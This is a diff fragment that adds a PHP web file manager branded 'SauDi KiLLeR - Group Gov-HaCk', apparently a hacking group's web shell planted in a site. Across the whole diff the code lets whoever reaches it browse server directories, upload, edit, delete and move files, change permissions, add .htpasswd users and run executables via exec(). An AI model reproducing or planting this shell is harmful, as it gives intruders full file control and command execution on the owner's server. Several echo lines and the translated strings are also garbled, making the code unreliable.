+       &lt;td&gt;&lt;input name="ox" type="checkbox" value="1" /&gt;&lt;/td&gt;
+   &lt;/tr&gt;
+   &lt;/table&gt;
+
+   &lt;hr /&gt;
+
+   &lt;input name="set" type="submit" value="' . word('set') . '" /&gt;
+
+   &lt;input name="action" type="hidden" value="permission" /&gt;
+   &lt;input name="file" type="hidden" value="' . html($file) . '" /&gt;
+   &lt;input name="dir" type="hidden" value="' . html($directory) . '" /&gt;
+
+&lt;/td&gt;
+&lt;/tr&gt;
+&lt;/table&gt;
+
+&lt;p&gt;&lt;a href="' . $self . '?dir=' . urlencode($directory) . '"&gt;[ ' . word('back') . ' ]&lt;/a&gt;&lt;/p&gt;
+
+&lt;/form&gt;
+
+';
+
+       html_footer();
+
+   }
+
+   break;
+
+default:
+
+   listing_page();
+
+}
+
+/* ------------------------------------------------------------------------- */
+
+function getlist ($directory) {
+   global $delim, $win;
+
+   if ($d = @opendir($directory)) {
+
+       while (($filename = @readdir($d)) !== false) {
+
+           $path = $directory . $filename;
+
+           if ($stat = @lstat($path)) {
+
+               $file = array(
+                   'filename'    =&gt; $filename,
+                   'path'        =&gt; $path,
+                   'is_file'     =&gt; @is_file($path),
+                   'is_dir'      =&gt; @is_dir($path),
+                   'is_link'     =&gt; @is_link($path),
+                   'is_readable' =&gt; @is_readable($path),
+                   'is_writable' =&gt; @is_writable($path),
+                   'size'        =&gt; $stat['size'],
+                   'permission'  =&gt; $stat['mode'],
+                   'owner'       =&gt; $stat['uid'],
+                   'group'       =&gt; $stat['gid'],
+                   'mtime'       =&gt; @filemtime($path),
+                   'atime'       =&gt; @fileatime($path),
+                   'ctime'       =&gt; @filectime($path)
+               );
+
+               if ($file['is_dir']) {
+                   $file['is_executable'] = @file_exists($path . $delim . '.');
+               } else {
+                   if (!$win) {
+                       $file['is_executable'] = @is_executable($path);
+                   } else {
+                       $file['is_executable'] = true;
+                   }
+               }
+
+               if ($file['is_link']) $file['target'] = @readlink($path);
+
+               if (function_exists('posix_getpwuid')) $file['owner_name'] = @reset(posix_getpwuid($file['owner']));
+               if (function_exists('posix_getgrgid')) $file['group_name'] = @reset(posix_getgrgid($file['group']));
+
+               $files[] = $file;
+
+           }
+
+       }
+
+       return $files;
+
+   } else {
+       return false;
+   }
+
+}
+
+function sortlist (&amp;$list, $key, $reverse) {
+
+   quicksort($list, 0, sizeof($list) - 1, $key);
+
+   if ($reverse) $list = array_reverse($list);
+
+}
+
+function quicksort (&amp;$array, $first, $last, $key) {
+
+   if ($first &lt; $last) {
+
+       $cmp = $array[floor(($first + $last) / 2)][$key];
+
+       $l = $first;
+       $r = $last;
+
+       while ($l &lt;= $r) {
+
+           while ($array[$l][$key] &lt; $cmp) $l++;
+           while ($array[$r][$key] &gt; $cmp) $r--;
+
+           if ($l &lt;= $r) {
+
+               $tmp = $array[$l];
+               $array[$l] = $array[$r];
+               $array[$r] = $tmp;
+
+               $l++;
+               $r--;
+
+           }
+
+       }
+
+       quicksort($array, $first, $r, $key);
+       quicksort($array, $l, $last, $key);
+
+   }
+
+}
+
+function permission_octal2string ($mode) {
+
+   if (($mode &amp; 0xC000) === 0xC000) {
+       $type = 's';
+   } elseif (($mode &amp; 0xA000) === 0xA000) {
+       $type = 'l';
+   } elseif (($mode &amp; 0x8000) === 0x8000) {
+       $type = '-';
+   } elseif (($mode &amp; 0x6000) === 0x6000) {
+       $type = 'b';
+   } elseif (($mode &amp; 0x4000) === 0x4000) {
+       $type = 'd';
+   } elseif (($mode &amp; 0x2000) === 0x2000) {
+       $type = 'c';
+   } elseif (($mode &amp; 0x1000) === 0x1000) {
+       $type = 'p';
+   } else {
+       $type = '?';
+   }
+
+   $owner  = ($mode &amp; 00400) ? 'r' : '-';
+   $owner .= ($mode &amp; 00200) ? 'w' : '-';
+   if ($mode &amp; 0x800) {
+       $owner .= ($mode &amp; 00100) ? 's' : 'S';
+   } else {
+       $owner .= ($mode &amp; 00100) ? 'x' : '-';
+   }
+
+   $group  = ($mode &amp; 00040) ? 'r' : '-';
+   $group .= ($mode &amp; 00020) ? 'w' : '-';
+   if ($mode &amp; 0x400) {
+       $group .= ($mode &amp; 00010) ? 's' : 'S';
+   } else {
+       $group .= ($mode &amp; 00010) ? 'x' : '-';
+   }
+
+   $other  = ($mode &amp; 00004) ? 'r' : '-';
+   $other .= ($mode &amp; 00002) ? 'w' : '-';
+   if ($mode &amp; 0x200) {
+       $other .= ($mode &amp; 00001) ? 't' : 'T';
+   } else {
+       $other .= ($mode &amp; 00001) ? 'x' : '-';
+   }
+
+   return $type . $owner . $group . $other;
+
+}
+
+function is_script ($filename) {
+   return ereg('\.php$|\.php3$|\.php4$|\.php5$', $filename);
+}
+
+function getmimetype ($filename) {
+   static $mimes = array(
+       '\.jpg$|\.jpeg$'  =&gt; 'image/jpeg',
+       '\.gif$'          =&gt; 'image/gif',
+       '\.png$'          =&gt; 'image/png',
+       '\.html$|\.html$' =&gt; 'text/html',
+       '\.txt$|\.asc$'   =&gt; 'text/plain',
+       '\.xml$|\.xsl$'   =&gt; 'application/xml',
+       '\.pdf$'          =&gt; 'application/pdf'
+   );
+
+   foreach ($mimes as $regex =&gt; $mime) {
+       if (eregi($regex, $filename)) return $mime;
+   }
+
+   // return 'application/octet-stream';
+   return 'text/plain';
+
+}
+
+function del ($file) {
+   global $delim;
+
+   if (!@is_link($file) &amp;&amp; !file_exists($file)) return false;
+
+   if (!@is_link($file) &amp;&amp; @is_dir($file)) {
+
+       if ($dir = @opendir($file)) {
+
+           $error = false;
+
+           while (($f = readdir($dir)) !== false) {
+               if ($f != '.' &amp;&amp; $f != '..' &amp;&amp; !del($file . $delim . $f)) {
+                   $error = true;
+               }
+           }
+           closedir($dir);
+
+           if (!$error) return @rmdir($file);
+
+           return !$error;
+
+       } else {
+           return false;
+       }
+
+   } else {
+       return @unlink($file);
+   }
+
+}
+
+function addslash ($directory) {
+   global $delim;
+
+   if (substr($directory, -1, 1) != $delim) {
+       return $directory . $delim;
+   } else {
+       return $directory;
+   }
+
+}
+
+function relative2absolute ($string, $directory) {
+
+   if (path_is_relative($string)) {
+       return simplify_path(addslash($directory) . $string);
+   } else {
+       return simplify_path($string);
+   }
+
+}
+
+function path_is_relative ($path) {
+   global $win;
+
+   if ($win) {
+       return (substr($path, 1, 1) != ':');
+   } else {
+       return (substr($path, 0, 1) != '/');
+   }
+
+}
+
+function absolute2relative ($directory, $target) {
+   global $delim;
+
+   $path = '';
+   while ($directory != $target) {
+       if ($directory == substr($target, 0, strlen($directory))) {
+           $path .= substr($target, strlen($directory));
+           break;
+       } else {
+           $path .= '..' . $delim;
+           $directory = substr($directory, 0, strrpos(substr($directory, 0, -1), $delim) + 1);
+       }
+   }
+   if ($path == '') $path = '.';
+
+   return $path;
+
+}
+
+function simplify_path ($path) {
+   global $delim;
+
+   if (@file_exists($path) &amp;&amp; function_exists('realpath') &amp;&amp; @realpath($path) != '') {
+       $path = realpath($path);
+       if (@is_dir($path)) {
+           return addslash($path);
+       } else {
+           return $path;
+       }
+   }
+
+   $pattern  = $delim . '.' . $delim;
+
+   if (@is_dir($path)) {
+       $path = addslash($path);
+   }
+
+   while (strpos($path, $pattern) !== false) {
+       $path = str_replace($pattern, $delim, $path);
+   }
+
+   $e = addslashes($delim);
+   $regex = $e . '((\.[^\.' . $e . '][^' . $e . ']*)|(\.\.[^' . $e . ']+)|([^\.][^' . $e . ']*))' . $e . '\.\.' . $e;
+
+   while (ereg($regex, $path)) {
+       $path = ereg_replace($regex, $delim, $path);
+   }
+   
+   return $path;
+
+}
+
+function human_filesize ($filesize) {
+
+   $suffices = 'kMGTPE';
+
+   $n = 0;
+   while ($filesize &gt;= 1000) {
+       $filesize /= 1024;
+       $n++;
+   }
+
+   $filesize = round($filesize, 3 - strpos($filesize, '.'));
+
+   if (strpos($filesize, '.') !== false) {
+       while (in_array(substr($filesize, -1, 1), array('0', '.'))) {
+           $filesize = substr($filesize, 0, strlen($filesize) - 1);
+       }
+   }
+
+   $suffix = (($n == 0) ? '' : substr($suffices, $n - 1, 1));
+
+   return $filesize . " {$suffix}B";
+
+}
+
+function strip (&amp;$str) {
+   $str = stripslashes($str);
+}
+
+/* ------------------------------------------------------------------------- */
+
+function listing_page ($message = null) {
+   global $self, $directory, $sort, $reverse;
+
+   html_header();
+
+   $list = getlist($directory);
+
+   if (array_key_exists('sort', $_GET)) $sort = $_GET['sort']; else $sort = 'filename';
+   if (array_key_exists('reverse', $_GET) &amp;&amp; $_GET['reverse'] == 'true') $reverse = true; else $reverse = false;
+
+   sortlist($list, $sort, $reverse);
+
+   echo '&lt;h1 style="margin-bottom: 0;"&gt;SauDi KiLLeR - Group Gov-HaCk&lt;/h1&gt;
+
+&lt;form action="' . $self . '" enctype="multipart/form-data" method="post"&gt;
+
+&lt;table id="main"&gt;
+';
+
+   directory_choice();
+
+   if (!empty($message)) {
+       spacer();
+       echo $message;
+   }
+
+   if (@is_writable($directory)) {
+       upload_box();
+       create_box();
+   } else {
+       spacer();
+   }
+
+   if ($list) {
+       listing($list);
+   } else {
+       echo error('not_readable', $directory);
+   }
+
+   echo '&lt;/table&gt;
+
+&lt;/form&gt;
+
+';
+
+   html_footer();
+
+}
+
+function listing ($list) {
+   global $directory, $homedir, $sort, $reverse, $win, $cols, $date_format, $self;
+
+   echo '&lt;tr class="listing"&gt;
+   &lt;th style="text-align: center; vertical-align: middle;"&gt;&lt;img alt="smiley" src="' . $self . '?image=smiley" /&gt;&lt;/th&gt;
+';
+
+   $d = 'dir=' . urlencode($directory) . '&amp;amp;';
+
+   if (!$reverse &amp;&amp; $sort == 'filename') $r = '&amp;amp;reverse=true'; else $r = '';
+   echo "\t&lt;th class=""&gt;&lt;a href=""&gt;" . word('filename') . "&lt;/a&gt;&lt;/th&gt;\n";
+
+   if (!$reverse &amp;&amp; $sort == 'size') $r = '&amp;amp;reverse=true'; else $r = '';
+   echo "\t&lt;th class=""&gt;&lt;a href=""&gt;" . word('size') . "&lt;/a&gt;&lt;/th&gt;\n";
+
+   if (!$win) {
+
+       if (!$reverse &amp;&amp; $sort == 'permission') $r = '&amp;amp;reverse=true'; else $r = '';
+       echo "\t&lt;th class=""&gt;&lt;a href=""&gt;" . word('permission') . "&lt;/a&gt;&lt;/th&gt;\n";
+
+       if (!$reverse &amp;&amp; $sort == 'owner') $r = '&amp;amp;reverse=true'; else $r = '';
+       echo "\t&lt;th class=""&gt;&lt;a href=""&gt;" . word('owner') . "&lt;/a&gt;&lt;/th&gt;\n";
+
+       if (!$reverse &amp;&amp; $sort == 'group') $r = '&amp;amp;reverse=true'; else $r = '';
+       echo "\t&lt;th class=""&gt;&lt;a href=""&gt;" . word('group') . "&lt;/a&gt;&lt;/th&gt;\n";
+
+   }
+
+   echo '  &lt;th class="functions"&gt;' . word('functions') . '&lt;/th&gt;
+&lt;/tr&gt;
+';
+
+   for ($i = 0; $i &lt; sizeof($list); $i++) {
+       $file = $list[$i];
+
+       $timestamps  = 'mtime: ' . date($date_format, $file['mtime']) . ', ';
+       $timestamps .= 'atime: ' . date($date_format, $file['atime']) . ', ';
+       $timestamps .= 'ctime: ' . date($date_format, $file['ctime']);
+
+       echo '&lt;tr class="listing"&gt;
+   &lt;td class="checkbox"&gt;&lt;input name="checked' . $i . '" type="checkbox" value="true" /&gt;&lt;/td&gt;
+   &lt;td class="filename" title="' . html($timestamps) . '"&gt;';
+
+       if ($file['is_link']) {
+
+           echo '&lt;img alt="link" src="' . $self . '?image=link" /&gt; ';
+           echo html($file['filename']) . ' &amp;rarr; ';
+
+           $real_file = relative2absolute($file['target'], $directory);
+
+           if (@is_readable($real_file)) {
+               if (@is_dir($real_file)) {
+                   echo '[ &lt;a href="' . $self . '?dir=' . urlencode($real_file) . '"&gt;' . html($file['target']) . '&lt;/a&gt; ]';
+               } else {
+                   echo '&lt;a href="' . $self . '?action=view&amp;amp;file=' . urlencode($real_file) . '"&gt;' . html($file['target']) . '&lt;/a&gt;';
+               }
+           } else {
+               echo html($file['target']);
+           }
+
+       } elseif ($file['is_dir']) {
+
+           echo '&lt;img alt="folder" src="' . $self . '?image=folder" /&gt; [ ';
+           if ($win || $file['is_executable']) {
+               echo '&lt;a href="' . $self . '?dir=' . urlencode($file['path']) . '"&gt;' . html($file['filename']) . '&lt;/a&gt;';
+           } else {
+               echo html($file['filename']);
+           }
+           echo ' ]';
+
+       } else {
+
+           if (substr($file['filename'], 0, 1) == '.') {
+               echo '&lt;img alt="hidden file" src="' . $self . '?image=hidden_file" /&gt; ';
+           } else {
+               echo '&lt;img alt="file" src="' . $self . '?image=file" /&gt; ';
+           }
+
+           if ($file['is_file'] &amp;&amp; $file['is_readable']) {
+              echo '&lt;a href="' . $self . '?action=view&amp;amp;file=' . urlencode($file['path']) . '"&gt;' . html($file['filename']) . '&lt;/a&gt;';
+           } else {
+               echo html($file['filename']);
+           }
+
+       }
+
+       if ($file['size'] &gt;= 1000) {
+           $human = ' title="' . human_filesize($file['size']) . '"';
+       } else {
+           $human = '';
+       }
+
+       echo "\t&lt;td class=""&gt;{$file['size']} B&lt;/td&gt;\n";
+
+       if (!$win) {
+
+           echo "\t&lt;td class=""&gt;';
+
+           $l = !$file['is_link'] &amp;&amp; (!function_exists('posix_getuid') || $file['owner'] == posix_getuid());
+           if ($l) echo '&lt;a href="' . $self . '?action=permission&amp;amp;file=' . urlencode($file['path']) . '&amp;amp;dir=' . urlencode($directory) . '"&gt;';
+           echo html(permission_octal2string($file['permission']));
+           if ($l) echo '&lt;/a&gt;';
+
+           echo "&lt;/td&gt;\n";
+
+           if (array_key_exists('owner_name', $file)) {
+               echo "\t&lt;td class=""&gt;{$file['owner_name']}&lt;/td&gt;\n";
+           } else {
+               echo "\t&lt;td class=""&gt;{$file['owner']}&lt;/td&gt;\n";
+           }
+
+           if (array_key_exists('group_name', $file)) {
+               echo "\t&lt;td class=""&gt;{$file['group_name']}&lt;/td&gt;\n";
+           } else {
+               echo "\t&lt;td class=""&gt;{$file['group']}&lt;/td&gt;\n";
+           }
+
+       }
+
+       echo '  &lt;td class="functions"&gt;
+       &lt;input name="file' . $i . '" type="hidden" value="' . html($file['path']) . '" /&gt;
+';
+
+       $actions = array();
+       if (function_exists('symlink')) {
+           $actions[] = 'create_symlink';
+       }
+       if (@is_writable(dirname($file['path']))) {
+           $actions[] = 'delete';
+           $actions[] = 'rename';
+           $actions[] = 'move';
+       }
+       if ($file['is_file'] &amp;&amp; $file['is_readable']) {
+           $actions[] = 'copy';
+           $actions[] = 'download';
+           if ($file['is_writable']) $actions[] = 'edit';
+       }
+       if (!$win &amp;&amp; function_exists('exec') &amp;&amp; $file['is_file'] &amp;&amp; $file['is_executable'] &amp;&amp; file_exists('/bin/sh')) {
+           $actions[] = 'execute';
+       }
+
+       if (sizeof($actions) &gt; 0) {
+
+           echo '      &lt;select class="small" name="action' . $i . '" size="1"&gt;
+       &lt;option value=""&gt;' . str_repeat('&amp;nbsp;', 30) . '&lt;/option&gt;
+';
+
+           foreach ($actions as $action) {
+               echo "\t\t&lt;option value=""&gt;" . word($action) . "&lt;/option&gt;\n";
+           }
+
+           echo '      &lt;/select&gt;
+       &lt;input class="small" name="submit' . $i . '" type="submit" value=" &amp;gt; " /&gt;
+';
+
+       }
+
+       echo '  &lt;/td&gt;
+&lt;/tr&gt;
+';
+
+   }
+
+   echo '&lt;tr class="listing_footer"&gt;
+   &lt;td style="text-align: right; vertical-align: top;"&gt;&lt;img alt="&amp;gt;" src="' . $self . '?image=arrow" /&gt;&lt;/td&gt;
+   &lt;td colspan="' . ($cols - 1) . '"&gt;
+       &lt;input name="num" type="hidden" value="' . sizeof($list) . '" /&gt;
+       &lt;input name="focus" type="hidden" value="" /&gt;
+       &lt;input name="olddir" type="hidden" value="' . html($directory) . '" /&gt;
+';
+
+   $actions = array();
+   if (@is_writable(dirname($file['path']))) {
+       $actions[] = 'delete';
+       $actions[] = 'move';
+   }
+   $actions[] = 'copy';
+
+   echo '      &lt;select class="small" name="action_all" size="1"&gt;
+       &lt;option value=""&gt;' . str_repeat('&amp;nbsp;', 30) . '&lt;/option&gt;
+';
+
+   foreach ($actions as $action) {
+       echo "\t\t&lt;option value=""&gt;" . word($action) . "&lt;/option&gt;\n";
+   }
+
+   echo '      &lt;/select&gt;
+       &lt;input class="small" name="submit_all" type="submit" value=" &amp;gt; " /&gt;
+   &lt;/td&gt;
+&lt;/tr&gt;
+';
+
+}
+
+function directory_choice () {
+   global $directory, $homedir, $cols, $self;
+
+   echo '&lt;tr&gt;
+   &lt;td colspan="' . $cols . '" id="directory"&gt;
+       &lt;a href="' . $self . '?dir=' . urlencode($homedir) . '"&gt;' . word('directory') . '&lt;/a&gt;:
+       &lt;input name="dir" size="' . textfieldsize($directory) . '" type="text" value="' . html($directory) . '" /&gt;
+       &lt;input name="changedir" type="submit" value="' . word('change') . '" /&gt;
+   &lt;/td&gt;
+&lt;/tr&gt;
+';
+
+}
+
+function upload_box () {
+   global $cols;
+
+   echo '&lt;tr&gt;
+   &lt;td colspan="' . $cols . '" id="upload"&gt;
+       ' . word('file') . ':
+       &lt;input name="upload" type="file" /&gt;
+       &lt;input name="submit_upload" type="submit" value="' . word('upload') . '" /&gt;
+   &lt;/td&gt;
+&lt;/tr&gt;
+';
+
+}
+
+function create_box () {
+   global $cols;
+
+   echo '&lt;tr&gt;
+   &lt;td colspan="' . $cols . '" id="create"&gt;
+       &lt;select name="create_type" size="1"&gt;
+       &lt;option value="file"&gt;' . word('file') . '&lt;/option&gt;
+       &lt;option value="directory"&gt;' . word('directory') . '&lt;/option&gt;
+       &lt;/select&gt;
+       &lt;input name="create_name" type="text" /&gt;
+       &lt;input name="submit_create" type="submit" value="' . word('create') . '" /&gt;
+   &lt;/td&gt;
+&lt;/tr&gt;
+';
+
+}
+
+function edit ($file) {
+   global $self, $directory, $editcols, $editrows, $apache, $htpasswd, $htaccess;
+
+   html_header();
+
+   echo '&lt;h2 style="margin-bottom: 3pt;"&gt;' . html($file) . '&lt;/h2&gt;
+
+&lt;form action="' . $self . '" method="post"&gt;
+
+&lt;table class="dialog"&gt;
+&lt;tr&gt;
+&lt;td class="dialog"&gt;
+
+   &lt;textarea cols="' . $editcols . '" name="content" rows="' . $editrows . '" wrap="off"&gt;';
+
+   if (array_key_exists('content', $_POST)) {
+       echo $_POST['content'];
+   } else {
+       $f = fopen($file, 'r');
+       while (!feof($f)) {
+           echo html(fread($f, 8192));
+       }
+       fclose($f);
+   }
+
+   if (!empty($_POST['user'])) {
+       echo "\n" . $_POST['user'] . ':' . crypt($_POST['password']);
+   }
+   if (!empty($_POST['basic_auth'])) {
+       if ($win) {
+           $authfile = str_replace('\\', '/', $directory) . $htpasswd;
+       } else {
+           $authfile = $directory . $htpasswd;
+       }
+       echo "\nAuthType Basic\nAuthName &amp;quot;Restricted Directory&amp;quot;\n";
+       echo 'AuthUserFile &amp;quot;' . html($authfile) . "&amp;quot;\n";
+       echo 'Require valid-user';
+   }
+
+   echo '&lt;/textarea&gt;
+
+   &lt;hr /&gt;
+';
+
+   if ($apache &amp;&amp; basename($file) == $htpasswd) {
+       echo '
+   ' . word('user') . ': &lt;input name="user" type="text" /&gt;
+   ' . word('password') . ': &lt;input name="password" type="password" /&gt;
+   &lt;input type="submit" value="' . word('add') . '" /&gt;
+
+   &lt;hr /&gt;
+';
+
+   }
+
+   if ($apache &amp;&amp; basename($file) == $htaccess) {
+       echo '
+   &lt;input name="basic_auth" type="submit" value="' . word('add_basic_auth') . '" /&gt;
+
+   &lt;hr /&gt;
+';
+
+   }
+
+   echo '
+   &lt;input name="action" type="hidden" value="edit" /&gt;
+   &lt;input name="file" type="hidden" value="' . html($file) . '" /&gt;
+   &lt;input name="dir" type="hidden" value="' . html($directory) . '" /&gt;
+   &lt;input id="red_button" type="reset" value="' . word('reset') . '" /&gt;
+   &lt;input id="green_button" name="save" style="margin-left: 50px;" type="submit" value="' . word('save') . '" /&gt;
+
+&lt;/td&gt;
+&lt;/tr&gt;
+&lt;/table&gt;
+
+&lt;p&gt;&lt;a href="' . $self . '?dir=' . urlencode($directory) . '"&gt;[ ' . word('back') . ' ]&lt;/a&gt;&lt;/p&gt;
+
+&lt;/form&gt;
+
+';
+
+   html_footer();
+
+}
+
+function spacer () {
+   global $cols;
+
+   echo '&lt;tr&gt;
+   &lt;td colspan="' . $cols . '" style="height: 1em;"&gt;&lt;/td&gt;
+&lt;/tr&gt;
+';
+
+}
+
+function textfieldsize ($content) {
+
+   $size = strlen($content) + 5;
+   if ($size &lt; 30) $size = 30;
+
+   return $size;
+
+}
+
+function request_dump () {
+
+   foreach ($_REQUEST as $key =&gt; $value) {
+       echo "\t&lt;input type="" /&gt;\n";
+   }
+
+}
+
+/* ------------------------------------------------------------------------- */
+
+function html ($string) {
+   global $site_charset;
+   return htmlentities($string, ENT_COMPAT, $site_charset);
+}
+
+function word ($word) {
+   global $words, $word_charset;
+   return htmlentities($words[$word], ENT_COMPAT, $word_charset);
+}
+
+function phrase ($phrase, $arguments) {
+   global $words;
+   static $search;
+
+   if (!is_array($search)) for ($i = 1; $i &lt;= 8; $i++) $search[] = "%$i";
+
+   for ($i = 0; $i &lt; sizeof($arguments); $i++) {
+       $arguments[$i] = nl2br(html($arguments[$i]));
+   }
+
+   $replace = array('{' =&gt; '&lt;pre&gt;', '}' =&gt;'&lt;/pre&gt;', '[' =&gt; '&lt;b&gt;', ']' =&gt; '&lt;/b&gt;');
+
+   return str_replace($search, $arguments, str_replace(array_keys($replace), $replace, nl2br(html($words[$phrase]))));
+
+}
+
+function getwords ($lang) {
+   global $word_charset, $date_format;
+
+   switch ($lang) {
+   case 'de':
+
+       $date_format = 'd.m.y H:i:s';
+       $word_charset = 'ISO-8859-1';
+
+       return array(
+'directory' =&gt; 'Verzeichnis',
+'file' =&gt; 'Datei',
+'filename' =&gt; 'Dateiname',
+
+'size' =&gt; 'GrU?Uƒe',
+'permission' =&gt; 'Rechte',
+'owner' =&gt; 'Eigner',
+'group' =&gt; 'Gruppe',
+'other' =&gt; 'Andere',
+'functions' =&gt; 'Funktionen',
+
+'read' =&gt; 'lesen',
+'write' =&gt; 'schreiben',
+'execute' =&gt; 'ausf?¼hren',
+
+'create_symlink' =&gt; 'Symlink erstellen',
+'delete' =&gt; 'lU?schen',
+'rename' =&gt; 'umbenennen',
+'move' =&gt; 'verschieben',
+'copy' =&gt; 'kopieren',
+'edit' =&gt; 'editieren',
+'download' =&gt; 'herunterladen',
+'upload' =&gt; 'hochladen',
+'create' =&gt; 'erstellen',
+'change' =&gt; 'wechseln',
+'save' =&gt; 'speichern',
+'set' =&gt; 'setze',
+'reset' =&gt; 'zur?¼cksetzen',
+'relative' =&gt; 'Pfad zum Ziel relativ',
+
+'yes' =&gt; 'Ja',
+'no' =&gt; 'Nein',
+'back' =&gt; 'zur?¼ck',
+'destination' =&gt; 'Ziel',
+'symlink' =&gt; 'Symbolischer Link',
+'no_output' =&gt; 'keine Ausgabe',
+
+'user' =&gt; 'Benutzername',
+'password' =&gt; 'Kennwort',
+'add' =&gt; 'hinzuf?¼gen',
+'add_basic_auth' =&gt; 'HTTP-Basic-Auth hinzuf?¼gen',
+
+'uploaded' =&gt; '"[%1]" wurde hochgeladen.',
+'not_uploaded' =&gt; '"[%1]" konnte nicht hochgeladen werden.',
+'already_exists' =&gt; '"[%1]" existiert bereits.',
+'created' =&gt; '"[%1]" wurde erstellt.',
+'not_created' =&gt; '"[%1]" konnte nicht erstellt werden.',
+'really_delete' =&gt; 'Sollen folgende Dateien wirklich gelU?scht werden?',
+'deleted' =&gt; "Folgende Dateien wurden gelU?scht:\n[%1]",
+'not_deleted' =&gt; "Folgende Dateien konnten nicht gelU?scht werden:\n[%1]",
+'rename_file' =&gt; 'Benenne Datei um:',
+'renamed' =&gt; '"[%1]" wurde in "[%2]" umbenannt.',
+'not_renamed' =&gt; '"[%1] konnte nicht in "[%2]" umbenannt werden.',
+'move_files' =&gt; 'Verschieben folgende Dateien:',
+'moved' =&gt; "Folgende Dateien wurden nach \"[%2]\" verschoben:\n[%1]",
+'not_moved' =&gt; "Folgende Dateien konnten nicht nach \"[%2]\" verschoben werden:\n[%1]",
+'copy_files' =&gt; 'Kopiere folgende Dateien:',
+'copied' =&gt; "Folgende Dateien wurden nach \"[%2]\" kopiert:\n[%1]",
+'not_copied' =&gt; "Folgende Dateien konnten nicht nach \"[%2]\" kopiert werden:\n[%1]",
+'not_edited' =&gt; '"[%1]" kann nicht editiert werden.',
+'executed' =&gt; "\"[%1]\" wurde erfolgreich ausgef?¼hrt:\n{%2}",
+'not_executed' =&gt; "\"[%1]\" konnte nicht erfolgreich ausgef?¼hrt werden:\n{%2}",
+'saved' =&gt; '"[%1]" wurde gespeichert.',
+'not_saved' =&gt; '"[%1]" konnte nicht gespeichert werden.',
+'symlinked' =&gt; 'Symbolischer Link von "[%2]" nach "[%1]" wurde erstellt.',
+'not_symlinked' =&gt; 'Symbolischer Link von "[%2]" nach "[%1]" konnte nicht erstellt werden.',
+'permission_for' =&gt; 'Rechte f?¼r "[%1]":',
+'permission_set' =&gt; 'Die Rechte f?¼r "[%1]" wurden auf [%2] gesetzt.',
+'permission_not_set' =&gt; 'Die Rechte f?¼r "[%1]" konnten nicht auf [%2] gesetzt werden.',
+'not_readable' =&gt; '"[%1]" kann nicht gelesen werden.'
+       );
+
+   case 'fr':
+
+       $date_format = 'd.m.y H:i:s';
+       $word_charset = 'ISO-8859-1';
+
+       return array(
+'directory' =&gt; 'R?©pertoire',
+'file' =&gt; 'Fichier',
+'filename' =&gt; 'Nom fichier',
+
+'size' =&gt; 'Taille',
+'permission' =&gt; 'Droits',
+'owner' =&gt; 'Propri?©taire',
+'group' =&gt; 'Groupe',
+'other' =&gt; 'Autres',
+'functions' =&gt; 'Fonctions',
+
+'read' =&gt; 'Lire',
+'write' =&gt; 'Ecrire',
+'execute' =&gt; 'Ex?©cuter',
+
+'create_symlink' =&gt; 'Cr?©er lien symbolique',
+'delete' =&gt; 'Effacer',
+'rename' =&gt; 'Renommer',
+'move' =&gt; 'D?©placer',
+'copy' =&gt; 'Copier',
+'edit' =&gt; 'Ouvrir',
+'download' =&gt; 'T?©l?©charger sur PC',
+'upload' =&gt; 'T?©l?©charger sur serveur',
+'create' =&gt; 'Cr?©er',
+'change' =&gt; 'Changer',
+'save' =&gt; 'Sauvegarder',
+'set' =&gt; 'Ex?©cuter',
+'reset' =&gt; 'R?©initialiser',
+'relative' =&gt; 'Relatif',
+
+'yes' =&gt; 'Oui',
+'no' =&gt; 'Non',
+'back' =&gt; 'Retour',
+'destination' =&gt; 'Destination',
+'symlink' =&gt; 'Lien symbollique',
+'no_output' =&gt; 'Pas de sortie',
+
+'user' =&gt; 'Utilisateur',
+'password' =&gt; 'Mot de passe',
+'add' =&gt; 'Ajouter',
+'add_basic_auth' =&gt; 'add basic-authentification',
+
+'uploaded' =&gt; '"[%1]" a ?©t?© t?©l?©charg?© sur le serveur.',
+'not_uploaded' =&gt; '"[%1]" n a pas ?©t?© t?©l?©charg?© sur le serveur.',
+'already_exists' =&gt; '"[%1]" existe d?©j? .',
+'created' =&gt; '"[%1]" a ?©t?© cr?©?©.',
+'not_created' =&gt; '"[%1]" n a pas pu ??tre cr?©?©.',
+'really_delete' =&gt; 'Effacer le fichier?',
+'deleted' =&gt; "Ces fichiers ont ?©t?© d?©tuits:\n[%1]",
+'not_deleted' =&gt; "Ces fichiers n ont pu ??tre d?©truits:\n[%1]",
+'rename_file' =&gt; 'Renomme fichier:',
+'renamed' =&gt; '"[%1]" a ?©t?© renomm?© en "[%2]".',
+'not_renamed' =&gt; '"[%1] n a pas pu ??tre renomm?© en "[%2]".',
+'move_files' =&gt; 'D?©placer ces fichiers:',
+'moved' =&gt; "Ces fichiers ont ?©t?© d?©plac?©s en \"[%2]\":\n[%1]",
+'not_moved' =&gt; "Ces fichiers n ont pas pu ??tre d?©plac?©s en \"[%2]\":\n[%1]",
+'copy_files' =&gt; 'Copier ces fichiers:',
+'copied' =&gt; "Ces fichiers ont ?©t?© copi?©s en \"[%2]\":\n[%1]",
+'not_copied' =&gt; "Ces fichiers n ont pas pu ??tre copi?©s en \"[%2]\":\n[%1]",
+'not_edited' =&gt; '"[%1]" ne peut ??tre ouvert.',
+'executed' =&gt; "\"[%1]\" a ?©t?© brillamment ex?©cut?© :\n{%2}",
+'not_executed' =&gt; "\"[%1]\" n a pas pu ??tre ex?©cut?©:\n{%2}",
+'saved' =&gt; '"[%1]" a ?©t?© sauvegard?©.',
+'not_saved' =&gt; '"[%1]" n a pas pu ??tre sauvegard?©.',
+'symlinked' =&gt; 'Un lien symbolique depuis "[%2]" vers "[%1]" a ?©t?© cr?©e.',
+'not_symlinked' =&gt; 'Un lien symbolique depuis "[%2]" vers "[%1]" n a pas pu ??tre cr?©?©.',
+'permission_for' =&gt; 'Droits de "[%1]":',
+'permission_set' =&gt; 'Droits de "[%1]" ont ?©t?© chang?©s en [%2].',
+'permission_not_set' =&gt; 'Droits de "[%1]" n ont pas pu ??tre chang?©s en[%2].',
+'not_readable' =&gt; '"[%1]" ne peut pas ??tre ouvert.'
+       );
+
+   case 'it':
+
+       $date_format = 'd-m-Y H:i:s';
+       $word_charset = 'ISO-8859-1';
+
+       return array(
+'directory' =&gt; 'Directory',
+'file' =&gt; 'File',
+'filename' =&gt; 'Nome File',
+
+'size' =&gt; 'Dimensioni',
+'permission' =&gt; 'Permessi',
+'owner' =&gt; 'Proprietario',
+'group' =&gt; 'Gruppo',
+'other' =&gt; 'Altro',
+'functions' =&gt; 'Funzioni',
+
+'read' =&gt; 'leggi',
+'write' =&gt; 'scrivi',
